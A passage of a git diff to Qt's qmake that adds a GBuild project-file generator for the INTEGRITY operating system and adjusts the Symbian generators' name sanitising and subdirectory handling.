diff --git a/qmake/Makefile.win32-g++ b/qmake/Makefile.win32-g++
index 59ac8c2..0707a3a 100644
--- a/qmake/Makefile.win32-g++
+++ b/qmake/Makefile.win32-g++
@@ -15,7 +15,7 @@ CXX = g++
CFLAGS = -c -o$@ -O \
-I. -Igenerators -Igenerators/unix \
-Igenerators/win32 -Igenerators/mac \
- -Igenerators/symbian \
+ -Igenerators/symbian -Igenerators/integrity \
-I$(BUILD_PATH)/include -I$(BUILD_PATH)/include/QtCore \
-I$(SOURCE_PATH)/include -I$(SOURCE_PATH)/include/QtCore \
-I$(BUILD_PATH)/src/corelib/global \
@@ -39,7 +39,7 @@ OBJS = project.o main.o makefile.o unixmake.o unixmake2.o mingw_make.o \
makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
borland_bmake.o msvc_nmake.o msvc_vcproj.o msvc_vcxproj.o \
msvc_objectmodel.o msbuild_objectmodel.o symmake.o initprojectdeploy_symbian.o \
- symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o
+ symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o gbuild.o
ifdef QMAKE_OPENSOURCE_EDITION
CFLAGS += -DQMAKE_OPENSOURCE_EDITION
@@ -311,6 +311,9 @@ registry.o: $(SOURCE_PATH)/tools/shared/windows/registry.cpp
epocroot.o: $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
$(CXX) $(CXXFLAGS) $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
+gbuild.o: $(SOURCE_PATH)/qmake/generators/integrity/gbuild.cpp
+ $(CXX) $(CXXFLAGS) generators/integrity/gbuild.cpp
+
project.o: $(SOURCE_PATH)/qmake/project.cpp $(SOURCE_PATH)/qmake/project.h $(SOURCE_PATH)/qmake/option.h
$(CXX) $(CXXFLAGS) project.cpp
diff --git a/qmake/Makefile.win32-g++-sh b/qmake/Makefile.win32-g++-sh
index a84b3f6..c3537e3 100644
--- a/qmake/Makefile.win32-g++-sh
+++ b/qmake/Makefile.win32-g++-sh
@@ -15,7 +15,7 @@ CXX = g++
CFLAGS = -c -o$@ -O \
-I. -Igenerators -Igenerators/unix \
-Igenerators/win32 -Igenerators/mac \
- -Igenerators/symbian \
+ -Igenerators/symbian -Igenerators/integrity \
-I$(BUILD_PATH)/include -I$(BUILD_PATH)/include/QtCore \
-I$(SOURCE_PATH)/include -I$(SOURCE_PATH)/include/QtCore \
-I$(BUILD_PATH)/src/corelib/global \
@@ -39,7 +39,7 @@ OBJS = project.o main.o makefile.o unixmake.o unixmake2.o mingw_make.o \
makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
borland_bmake.o msvc_nmake.o msvc_vcproj.o msvc_vcxproj.o \
msvc_objectmodel.o msbuild_objectmodel.o symmake.o initprojectdeploy_symbian.o \
- symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o
+ symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o gbuild.o
ifdef QMAKE_OPENSOURCE_EDITION
CFLAGS += -DQMAKE_OPENSOURCE_EDITION
@@ -310,6 +310,10 @@ registry.o: $(SOURCE_PATH)/tools/shared/windows/registry.cpp
epocroot.o: $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
$(CXX) $(CXXFLAGS) $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
+gbuild.o: $(SOURCE_PATH)/qmake/generators/integrity/gbuild.cpp
+ $(CXX) $(CXXFLAGS) generators/integrity/gbuild.cpp
+
+
project.o: $(SOURCE_PATH)/qmake/project.cpp $(SOURCE_PATH)/qmake/project.h $(SOURCE_PATH)/qmake/option.h
$(CXX) $(CXXFLAGS) project.cpp
diff --git a/qmake/generators/integrity/gbuild.cpp b/qmake/generators/integrity/gbuild.cpp
new file mode 100644
index 0000000..17bd8f0
--- /dev/null
+++ b/qmake/generators/integrity/gbuild.cpp
@@ -0,0 +1,442 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "gbuild.h"
+#include "option.h"
+#include "meta.h"
+#include <qdir.h>
+#include <qregexp.h>
+#include <qcryptographichash.h>
+#include <qdebug.h>
+#include <stdlib.h>
+#include <time.h>
+#ifdef Q_OS_UNIX
+# include <sys/types.h>
+# include <sys/stat.h>
+#endif
+
+QT_BEGIN_NAMESPACE
+
+unsigned int dllbase = 0x01000000;
+#define DLLOFFSET 0x600000
+
+GBuildMakefileGenerator::GBuildMakefileGenerator() : MakefileGenerator()
+{
+ nativebins << "moc" << "rcc" << "uic" << "bootstrap";
+}
+
+bool
+GBuildMakefileGenerator::write()
+{
+ QStringList tmp;
+ QString filename(Option::output.fileName());
+ QString pathtoremove(qmake_getpwd());
+ QString relpath(pathtoremove);
+ QString strtarget(project->first("TARGET"));
+ bool isnativebin = nativebins.contains(strtarget);
+ relpath.replace(Option::output_dir, "");
+
+ /* correct output for non-prl, non-recursive case */
+ QString outname(qmake_getpwd());
+ outname += QDir::separator();
+ outname += fileInfo(Option::output.fileName()).baseName();
+ outname += projectSuffix();
+ Option::output.close();
+ Option::output.setFileName(outname);
+ MakefileGenerator::openOutput(Option::output, QString());
+
+ if (strtarget != fileInfo(project->projectFile()).baseName()) {
+ QString gpjname(strtarget);
+ QString outputName(qmake_getpwd());
+ outputName += QDir::separator();
+ outputName += fileInfo(project->projectFile()).baseName();
+ outputName += projectSuffix();
+ QFile f(outputName);
+ f.open(QIODevice::WriteOnly | QIODevice::Text | QIODevice::Truncate);
+ QTextStream t(&f);
+ t << "#!gbuild\n";
+ t << "[Project]\n";
+ t << gpjname << projectSuffix() << "\n";
+ if ((project->first("TEMPLATE") == "lib")
+ && project->isActiveConfig("shared"))
+ t << gpjname << "_shared" << projectSuffix() << "\n";
+ t.flush();
+ gpjname += projectSuffix();
+ Option::output.close();
+ Option::output.setFileName(gpjname);
+ MakefileGenerator::openOutput(Option::output, QString());
+ }
+
+ if ((project->first("TEMPLATE") == "app")
+ && (!isnativebin)) {
+ QTextStream t(&Option::output);
+ QString intname(strtarget);
+ intname += ".int";
+ /* this is for bulding an INTEGRITY application.
+ * generate the .int integrate file and the .gpj INTEGRITY Application
+ * project file, then go on with regular files */
+ t << "#!gbuild" << "\n";
+ t << "[INTEGRITY Application]" << "\n";
+ t << "\t:binDirRelative=.\n";
+ t << "\t-o " << strtarget << "\n";
+ t << intname << "\n";
+ t << strtarget << "_app" << projectSuffix() << "\n";
+ t.flush();
+
+ /* generate integrate file */
+ QFile f(intname);
+ f.open(QIODevice::WriteOnly | QIODevice::Text | QIODevice::Truncate);
+ QTextStream ti(&f);
+ ti << "# This is a file automatically generated by qmake" << "\n";
+ ti << "# Modifications will be lost next time you run qmake" << "\n";
+ ti << "Kernel" << "\n";
+ ti << "\tFilename\tDynamicDownload" << "\n";
+ ti << "EndKernel" << "\n" << "\n";
+ ti << "AddressSpace" << "\n";
+ ti << "\tName\t" << strtarget << "\n";
+ ti << "\tFilename\t" << strtarget << "_app" << "\n";
+ ti << "\tMemoryPoolSize\t0x100000" << "\n";
+ ti << "\tLanguage\tC++" << "\n";
+ /* FIXME : heap size is huge to be big enough for every example
+ * it should probably be tailored for each example, btu there is no
+ * good way to guess that */
+ ti << "\tHeapSize\t0x00D00000" << "\n";
+ ti << "\tTask\tInitial" << "\n";
+ ti << "\t\tStackSize\t0x30000" << "\n";
+ ti << "\tEndTask" << "\n";
+ ti << "EndAddressSpace" << "\n";
+ ti.flush();
+
+ /* change current project file to <projectname>_app.gpj and continue
+ * generation */
+ filename.insert(filename.lastIndexOf("."), "_app");
+ Option::output.close();
+ Option::output.setFileName(filename);
+ MakefileGenerator::openOutput(Option::output, QString());
+ } else if ((project->first("TEMPLATE") == "lib")
+ && project->isActiveConfig("shared")) {
+ QString gpjname(strtarget);
+ gpjname += "_shared";
+ gpjname += projectSuffix();
+ QFile f(gpjname);
+ f.open(QIODevice::WriteOnly | QIODevice::Text | QIODevice::Truncate);
+ QTextStream t(&f);
+ t << "#!gbuild\n"
+ "[Program]\n"
+ "\t-A libINTEGRITY.so\n"
+ "\t-A libc.so\n"
+ "\t-A libscxx.so\n"
+ "\t-A libQtCore.so\n"
+ "\t-e __ghsbegin_text\n"
+ "\t-startfile=-\n"
+ "\t:syslibraries=-\n"
+ "\t-Onolink\n";
+ t << "\t-o lib" << strtarget << ".so\n";
+ t << "\t-l" << strtarget << "\n";
+ t << "\t-extractall=-l" << strtarget << "\n";
+ t << "\t:outputDir=work/" << filename.section(QDir::separator(), 0, -1).remove(".gpj") << "\n";
+ t << strtarget << "_shared.ld\n";
+ t << "$(__OS_DIR)/intlib/sharedobjbssinit.c\n";
+ t.flush();
+
+ QFile fl(strtarget + "_shared.ld");
+ fl.open(QIODevice::WriteOnly | QIODevice::Text | QIODevice::Truncate);
+ QTextStream tl(&fl);
+ tl << "CONSTANTS {\n"
+ " __INTEGRITY_MinPageAlign = 16K\n"
+ " __INTEGRITY_MaxPageAlign = 16K\n"
+ " __INTEGRITY_LibCBaseAddress = \n";
+ tl << dllbase << "\n";
+ tl << "}\n"
+ "-sec\n"
+ "{\n"
+ " .picbase __INTEGRITY_LibCBaseAddress :\n"
+ " .text :\n"
+ " .syscall :\n"
+ " .intercall :\n"
+ " .interfunc :\n"
+ " .secinfo :\n"
+ " .rodata align(16) :\n"
+ " .fixaddr :\n"
+ " .fixtype :\n"
+ " .rombeg :\n"
+ " .textchecksum :\n"
+ " // The above sections may be large. Leave a bigger gap for large pages.\n"
+ " .pidbase align(__INTEGRITY_MaxPageAlign) :\n"
+ " .sdabase :\n"
+ " .data :\n"
+ " .toc :\n"
+ " .opd :\n"
+ " .datachecksum :\n"
+ " .bss align(__INTEGRITY_MinPageAlign) :\n"
+ " .heap :\n"
+ "}\n";
+ tl.flush();
+ dllbase += DLLOFFSET;
+ }
+
+ warn_msg(WarnParser, Option::output.fileName().toAscii());
+ QTextStream t(&Option::output);
+ QString primaryTarget(project->values("QMAKE_CXX").at(0));
+
+ pathtoremove += QDir::separator();
+ filename.remove(qmake_getpwd());
+
+ //HEADER
+ t << "#!gbuild" << "\n";
+
+ /* find the architecture out of the compiler name */
+ if (filename.endsWith("projects.gpj")) {
+ primaryTarget.remove(0, 5);
+ t << "macro QT_BUILD_DIR=%expand_path(.)\n";
+ t << "macro __OS_DIR=" << project->values("INTEGRITY_DIR").first() << "\n";
+ t << "primaryTarget=" << primaryTarget << "_integrity.tgt" << "\n";
+ t << "customization=util/integrity/qt.bod\n";
+ }
+ /* project type */
+ if (project->first("TEMPLATE") == "app") {
+ t << "[Program]" << "\n";
+ if (isnativebin) {
+ t << "\t:binDir=bin\n";
+ t << "\t-o " << strtarget << "\n";
+ } else {
+ t << "\t:binDirRelative=.\n";
+ t << "\t-o " << strtarget << "_app\n";
+ }
+ } else if (project->first("TEMPLATE") == "lib") {
+ t << "[Library]" << "\n";
+ t << "\t:binDir=lib" << "\n";
+ t << "\t-o lib" << strtarget << ".a" << "\n";
+ } else if (project->first("TEMPLATE") == "subdirs")
+ t << "[Project]" << "\n";
+ else
+ t << project->first("TEMPLATE") << "\n";
+
+ /* compilations options */
+ t << "\t:sourceDir=." << "\n";
+
+ t << "\t:outputDir=work" << relpath << "\n";
+ if (filename.endsWith("projects.gpj")) {
+ t << "\t:sourceDir=work\n";
+ t << "\t-Iwork\n";
+ t << "\t-Llib\n";
+ t << "\t";
+ QStringList &l = project->values("QMAKE_CXXFLAGS");
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ if ((*it).startsWith("-"))
+ t << "\n" << "\t" << (*it);
+ else
+ t << " " << (*it);
+ }
+ t << "\n";
+ }
+ t << "\n";
+
+ t << varGlue("DEFINES", "\t-D", "\n\t-D", "\n");
+
+ t << "\t-I.\n\t-I" << specdir() << "\n";
+ t << varGlue("INCLUDEPATH", "\t-I", "\n\t-I", "\n");
+ t << "\t--cxx_include_directory .\n\t--cxx_include_directory " << specdir() << "\n";
+ t << varGlue("INCLUDEPATH", "\t--cxx_include_directory ", "\n\t--cxx_include_directory ", "\n");
+
+ if (project->first("TEMPLATE") == "app") {
+ /* include linker flags if it's an application */
+ QString src[] = { "QMAKE_LFLAGS", "QMAKE_FRAMEWORKPATH_FLAGS", "QMAKE_LIBDIR_FLAGS", "QMAKE_LIBS", "LIBS", QString() };
+ for (int i = 0; !src[i].isNull(); i++) {
+ /* skip target libraries for native tools */
+ if (isnativebin && (i == 0))
+ continue;
+ t << "\t";
+ QStringList &l = project->values(src[i]);
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ if ((*it).startsWith("-"))
+ t << "\n" << "\t" << (*it);
+ else
+ t << " " << (*it);
+ }
+ t << "\n";
+ }
+ }
+
+ /* first subdirectories/subprojects */
+ {
+ QStringList &l = project->values("SUBDIRS");
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ QString gpjname((*it));
+ /* avoid native tools */
+ if (nativebins.contains(gpjname.section("_", -1)))
+ continue;
+ if (!project->first((*it) + ".subdir").isEmpty())
+ gpjname = project->first((*it) + ".subdir");
+ else
+ gpjname.replace("_", QDir::separator());
+ gpjname += QDir::separator() + gpjname.section(QDir::separator(), -1);
+ gpjname += projectSuffix();
+ /* make relative */
+ if (!project->values("QT_SOURCE_TREE").isEmpty()) {
+ gpjname.replace(project->values("QT_SOURCE_TREE").first() + QDir::separator(), "");
+ }
+ t << gpjname << "\n";
+ }
+ }
+
+ {
+ QStringList &l = project->values("RESOURCES");
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ QString tmpstr((*it).replace(pathtoremove, ""));
+ t << tmpstr << "\t[Qt Resource]\n";
+ tmpstr = tmpstr.section(".", -2, -1).section(QDir::separator(), -1);
+ tmpstr.remove(".qrc");
+ t << "\t-name " << tmpstr << "\n";
+ tmpstr.insert(tmpstr.lastIndexOf(QDir::separator()) + 1, "qrc_");
+ tmpstr.append(".cpp");
+ t << "\t-o work/" << tmpstr << "\n";
+ }
+ }
+ {
+ QStringList &l = project->values("FORMS");
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ QString tmpstr((*it).replace(pathtoremove, ""));
+ t << tmpstr << "\t[Qt Dialog]\n";
+ tmpstr = tmpstr.section(".", 0, 0).section(QDir::separator(), -1);
+ tmpstr.insert(tmpstr.lastIndexOf(QDir::separator()) + 1, "ui_");
+ tmpstr.remove(".ui");
+ tmpstr.append(".h");
+ t << "\t-o work/" << tmpstr << "\n";
+ }
+ }
+
+ /* source files for this project */
+ QString src[] = { "HEADERS", "SOURCES", QString() };
+ for (int i = 0; !src[i].isNull(); i++) {
+ QStringList &l = project->values(src[i]);
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ if ((*it).isEmpty())
+ continue;
+ /* native tools aren't preprocessed */
+ if (!isnativebin)
+ t << writeOne((*it), pathtoremove);
+ else
+ t << (*it).remove(pathtoremove) << "\n";
+ }
+ }
+ t << "\n";
+
+ {
+ QStringList &l = project->values("GENERATED_SOURCES");
+ for (QStringList::Iterator it = l.begin(); it != l.end(); ++it) {
+ t << "work/" << (*it).section(QDir::separator(), -1) << "\n";
+ }
+ }
+
+ return true;
+}
+
+QString GBuildMakefileGenerator::writeOne(QString filename, QString pathtoremove)
+{
+ QString s("");
+ s += filename.remove(pathtoremove);
+ if (filename.endsWith(Option::h_ext.first())) {
+ QString corename(filename.section(QDir::separator(), -1));
+ corename.remove(Option::h_ext.first());
+ corename.append(Option::cpp_ext.first());
+ corename.prepend(Option::h_moc_mod);
+ s += "\t[MOC/Qt Header]\n";
+ s += "\t-o ";
+ s += "work/";
+ s += corename;
+ s += "\n";
+ } else if (filename.section(QDir::separator(), -1).startsWith("qrc_")) {
+ QString tmpstr(filename.section("/", -1).section(".", 0, -1).remove("qrc_").remove(".cpp"));
+ s += "\n\t:depends=";
+ s += tmpstr;
+ s += ".qrc";
+ s += "\n";
+ } else if (filename.endsWith(Option::cpp_ext.first())) {
+ QString tmpstr(filename.section("/", -1));
+// QString moctool(project->values("QMAKE_MOC").first());
+ QString filepath(pathtoremove);
+ if (!project->values("QT_SOURCE_TREE").isEmpty()) {
+ filepath.remove(project->values("QT_SOURCE_TREE").first());
+ filepath.remove(0, 1);
+ }
+// if (!project->values("QT_BUILD_TREE").isEmpty()) {
+// moctool.remove(project->values("QT_BUILD_TREE").first());
+// moctool.remove(0, 1);
+// }
+ s += "\n\t:preexecShellSafe='${QT_BUILD_DIR}/bin/moc ";
+// s += moctool;
+// s += " ";
+ s += varGlue("DEFINES", "-D", " -D", " ");
+ s += varGlue("INCLUDEPATH", "-I", " -I", " ");
+ s += filepath;
+ s += filename;
+ s += " -o ";
+ tmpstr.replace(Option::cpp_ext.first(), Option::cpp_moc_ext);
+ s += "work/";
+ s += tmpstr;
+ s += "\n";
+ } else
+ s += "\n";
+ return s;
+}
+
+bool
+GBuildMakefileGenerator::openOutput(QFile &file, const QString &build) const
+{
+ debug_msg(1, "file is %s", file.fileName().toLatin1().constData());
+ QFileInfo fi(file);
+ if (fi.filePath().isEmpty())
+ file.setFileName(qmake_getpwd() + QDir::separator() + file.fileName());
+ if (!file.fileName().endsWith(projectSuffix())) {
+ QString outputName(file.fileName());
+ outputName += QDir::separator();
+ outputName += fileInfo(project->projectFile()).baseName();
+ outputName += projectSuffix();
+ warn_msg(WarnParser, outputName.toAscii());
+ file.setFileName(outputName);
+ }
+ debug_msg(1, "file is %s", file.fileName().toLatin1().constData());
+ bool ret = MakefileGenerator::openOutput(file, QString());
+ return ret;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/uncompressor.h b/qmake/generators/integrity/gbuild.h
index d877f13..6b5b1a0 100644
--- a/tools/qdoc3/uncompressor.h
+++ b/qmake/generators/integrity/gbuild.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtGui module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,41 +39,36 @@
**
****************************************************************************/
-/*
- uncompressor.h
-*/
+#ifndef GBUILD_H
+#define GBUILD_H
-#ifndef UNCOMPRESSOR_H
-#define UNCOMPRESSOR_H
-
-#include <qstringlist.h>
-
-#include "location.h"
+#include "makefile.h"
QT_BEGIN_NAMESPACE
-class Uncompressor
+class GBuildMakefileGenerator : public MakefileGenerator
{
-public:
- Uncompressor( const QStringList& extensions );
- virtual ~Uncompressor();
+ virtual bool write();
- virtual QString uncompressedFilePath( const QString& filePath ) = 0;
- virtual void uncompressFile( const Location& location,
- const QString& filePath,
- const QString& outputFilePath ) = 0;
+ QString projectSuffix() const { return QString(".gpj"); };
+ QString writeOne(QString filename, QString pathtoremove = "");
- static Uncompressor *uncompressorForFileName( const QString& fileName );
+public:
+ GBuildMakefileGenerator();
+ ~GBuildMakefileGenerator();
+ virtual bool supportsMetaBuild() { return false; }
+ virtual bool openOutput(QFile &, const QString &) const;
protected:
- const QStringList& fileExtensions() const { return fileExts; }
-
-private:
- QStringList fileExts;
+ bool doPrecompiledHeaders() const { return false; }
+ virtual bool doDepends() const { return true; }
+ QStringList nativebins;
- static QList<Uncompressor *> uncompressors;
};
+inline GBuildMakefileGenerator::~GBuildMakefileGenerator()
+{ }
+
QT_END_NAMESPACE
-#endif
+#endif // GBUILD_H
diff --git a/qmake/generators/metamakefile.cpp b/qmake/generators/metamakefile.cpp
index f0ab435..a3fba6a 100644
--- a/qmake/generators/metamakefile.cpp
+++ b/qmake/generators/metamakefile.cpp
@@ -138,12 +138,12 @@ BuildsMetaMakefileGenerator::init()
Build *build = new Build;
build->name = name;
build->makefile = createMakefileGenerator(project, false);
- if (build->makefile){
+ if (build->makefile){
makefiles += build;
- }else {
- delete build;
- return false;
- }
+ }else {
+ delete build;
+ return false;
+ }
}
return true;
}
@@ -179,7 +179,7 @@ BuildsMetaMakefileGenerator::write(const QString &oldpwd)
using_stdout = true;
} else {
if(Option::output.fileName().isEmpty() &&
- Option::qmake_mode == Option::QMAKE_GENERATE_MAKEFILE)
+ Option::qmake_mode == Option::QMAKE_GENERATE_MAKEFILE)
Option::output.setFileName(project->first("QMAKE_MAKEFILE"));
Option::output_dir = oldpwd;
QString build_name = build->name;
@@ -306,7 +306,7 @@ SubdirsMetaMakefileGenerator::init()
&& project->isRecursive());
if(recurse) {
QString old_output_dir = Option::output_dir;
- QString old_output = Option::output.fileName();
+ QString old_output = Option::output.fileName();
QString oldpwd = qmake_getpwd();
QString thispwd = oldpwd;
if(!thispwd.endsWith('/'))
@@ -387,7 +387,7 @@ SubdirsMetaMakefileGenerator::init()
self->input_dir = qmake_getpwd();
self->output_dir = Option::output_dir;
if(!recurse || (!Option::output.fileName().endsWith(Option::dir_sep) && !QFileInfo(Option::output).isDir()))
- self->output_file = Option::output.fileName();
+ self->output_file = Option::output.fileName();
self->makefile = new BuildsMetaMakefileGenerator(project, name, false);
self->makefile->init();
subs.append(self);
@@ -420,10 +420,10 @@ SubdirsMetaMakefileGenerator::write(const QString &oldpwd)
writepwd = oldpwd;
if(!(ret = subs.at(i)->makefile->write(writepwd)))
break;
- //restore because I'm paranoid
+ //restore because I'm paranoid
qmake_setpwd(pwd);
- Option::output.setFileName(output_name);
- Option::output_dir = output_dir;
+ Option::output.setFileName(output_name);
+ Option::output_dir = output_dir;
}
return ret;
}
@@ -448,6 +448,7 @@ QT_BEGIN_INCLUDE_NAMESPACE
#include "symmake_abld.h"
#include "symmake_sbsv2.h"
#include "symbian_makefile.h"
+#include "gbuild.h"
QT_END_INCLUDE_NAMESPACE
MakefileGenerator *
@@ -489,6 +490,10 @@ MetaMakefileGenerator::createMakefileGenerator(QMakeProject *proj, bool noIO)
mkfile = new SymbianSbsv2MakefileGenerator;
} else if(gen == "SYMBIAN_UNIX") {
mkfile = new SymbianMakefileTemplate<UnixMakefileGenerator>;
+ } else if(gen == "SYMBIAN_MINGW") {
+ mkfile = new SymbianMakefileTemplate<MingwMakefileGenerator>;
+ } else if(gen == "GBUILD") {
+ mkfile = new GBuildMakefileGenerator;
} else {
fprintf(stderr, "Unknown generator specified: %s\n", gen.toLatin1().constData());
}
@@ -545,7 +550,7 @@ MetaMakefileGenerator::modesForGenerator(const QString &gen,
} else if (gen == "PROJECTBUILDER" || gen == "XCODE") {
*host_mode = Option::HOST_MACX_MODE;
*target_mode = Option::TARG_MACX_MODE;
- } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2" || gen == "SYMBIAN_UNIX") {
+ } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2" || gen == "SYMBIAN_UNIX" || gen == "SYMBIAN_MINGW") {
#if defined(Q_OS_MAC)
*host_mode = Option::HOST_MACX_MODE;
#elif defined(Q_OS_UNIX)
@@ -554,6 +559,9 @@ MetaMakefileGenerator::modesForGenerator(const QString &gen,
*host_mode = Option::HOST_WIN_MODE;
#endif
*target_mode = Option::TARG_SYMBIAN_MODE;
+ } else if (gen == "GBUILD") {
+ *host_mode = Option::HOST_UNIX_MODE;
+ *target_mode = Option::TARG_INTEGRITY_MODE;
} else {
fprintf(stderr, "Unknown generator specified: %s\n", gen.toLatin1().constData());
return false;
diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
index 2b8d5b7..32b465b 100644
--- a/qmake/generators/symbian/symbiancommon.cpp
+++ b/qmake/generators/symbian/symbiancommon.cpp
@@ -79,11 +79,7 @@ void SymbianCommonGenerator::init()
fixedTarget = project->first("TARGET");
fixedTarget = generator->unescapeFilePath(fixedTarget);
fixedTarget = removePathSeparators(fixedTarget);
- if (project->first("MAKEFILE_GENERATOR") == "SYMBIAN_ABLD"
- || project->first("MAKEFILE_GENERATOR") == "SYMBIAN_SBSV2")
- removeEpocSpecialCharacters(fixedTarget);
- else
- removeSpecialCharacters(fixedTarget);
+ removeSpecialCharacters(fixedTarget);
// This should not be empty since the mkspecs are supposed to set it if missing.
uid3 = project->first("TARGET.UID3").trimmed();
@@ -131,18 +127,11 @@ bool SymbianCommonGenerator::containsStartWithItem(const QChar &c, const QString
void SymbianCommonGenerator::removeSpecialCharacters(QString& str)
{
// When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
- str.replace(QString("/"), QString("_"));
- str.replace(QString("\\"), QString("_"));
- str.replace(QString(" "), QString("_"));
-}
-
-void SymbianCommonGenerator::removeEpocSpecialCharacters(QString& str)
-{
- // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
- str.replace(QString("-"), QString("_"));
- str.replace(QString(":"), QString("_"));
- str.replace(QString("."), QString("_"));
- removeSpecialCharacters(str);
+ QString underscore = QLatin1String("_");
+ str.replace(QLatin1String("/"), underscore);
+ str.replace(QLatin1String("\\"), underscore);
+ str.replace(QLatin1String(" "), underscore);
+ str.replace(QLatin1String(":"), underscore);
}
QString romPath(const QString& path)
@@ -405,8 +394,7 @@ void SymbianCommonGenerator::generatePkgFile(const QString &iconFile,
t << manufacturerStr << endl;
}
- // ### FIXME: remove epocBuild check once makefile based mkspecs support localized resource generation
- if (epocBuild && symbianLocalizationList.size()) {
+ if (symbianLocalizationList.size()) {
// Add localized resources to DEPLOYMENT if default resource deployment is done
addLocalizedResourcesToDeployment("default_resource_deployment.files", symbianLocalizationList);
addLocalizedResourcesToDeployment("default_reg_deployment.files", symbianLocalizationList);
@@ -629,6 +617,7 @@ void SymbianCommonGenerator::writeRssFile(QString &numberOfIcons, QString &iconF
t << "// * user." << endl;
t << "// ============================================================================" << endl;
t << endl;
+ t << "CHARACTER_SET UTF8" << endl;
t << "#include <appinfo.rh>" << endl;
t << "#include \"" << fixedTarget << ".loc\"" << endl;
t << endl;
diff --git a/qmake/generators/symbian/symbiancommon.h b/qmake/generators/symbian/symbiancommon.h
index 0b5f53d..5182021 100644
--- a/qmake/generators/symbian/symbiancommon.h
+++ b/qmake/generators/symbian/symbiancommon.h
@@ -82,7 +82,6 @@ protected:
QString removePathSeparators(QString &file);
void removeSpecialCharacters(QString& str);
- void removeEpocSpecialCharacters(QString& str);
void generatePkgFile(const QString &iconFile,
bool epocBuild,
const SymbianLocalizationList &symbianLocalizationList);
diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp
index e6c9666..08d3370 100644
--- a/qmake/generators/symbian/symmake.cpp
+++ b/qmake/generators/symbian/symmake.cpp
@@ -83,6 +83,8 @@
#define VAR_CFLAGS "QMAKE_CFLAGS"
#define VAR_LFLAGS "QMAKE_LFLAGS"
+#define DEFINE_REPLACE_REGEXP "[^A-Z0-9_]"
+
QString SymbianMakefileGenerator::fixPathForMmp(const QString& origPath, const QDir& parentDir)
{
static QString epocRootStr;
@@ -165,11 +167,15 @@ void SymbianMakefileGenerator::writeHeader(QTextStream &t)
QString bldinfDefine = shortProFilename;
bldinfDefine.append("_");
bldinfDefine.append(generate_uid(project->projectFile()));
+ bldinfDefine = bldinfDefine.toUpper();
+
+ // replace anything not alphanumeric with underscore
+ QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
+ bldinfDefine.replace(replacementMask, QLatin1String("_"));
bldinfDefine.prepend("BLD_INF_");
- removeEpocSpecialCharacters(bldinfDefine);
- t << "#define " << bldinfDefine.toUpper() << endl << endl;
+ t << "#define " << bldinfDefine << endl << endl;
}
bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
@@ -892,13 +898,17 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
const QStringList &subdirs = project->values("SUBDIRS");
foreach(QString item, subdirs) {
+ bool fromFile = false;
QString fixedItem;
if (!project->isEmpty(item + ".file")) {
fixedItem = project->first(item + ".file");
+ fromFile = true;
} else if (!project->isEmpty(item + ".subdir")) {
fixedItem = project->first(item + ".subdir");
+ fromFile = false;
} else {
fixedItem = item;
+ fromFile = item.endsWith(Option::pro_ext);
}
QString condition;
@@ -907,9 +917,15 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
QFileInfo subdir(fileInfo(fixedItem));
QString relativePath = directory.relativeFilePath(fixedItem);
- QString subdirFileName = subdir.completeBaseName();
- QString fullProName = subdir.absoluteFilePath();;
+ QString fullProName = subdir.absoluteFilePath();
QString bldinfFilename;
+ QString subdirFileName;
+
+ if (fromFile) {
+ subdirFileName = subdir.completeBaseName();
+ } else {
+ subdirFileName = subdir.fileName();
+ }
if (subdir.isDir()) {
// Subdir is a regular project
@@ -931,7 +947,10 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
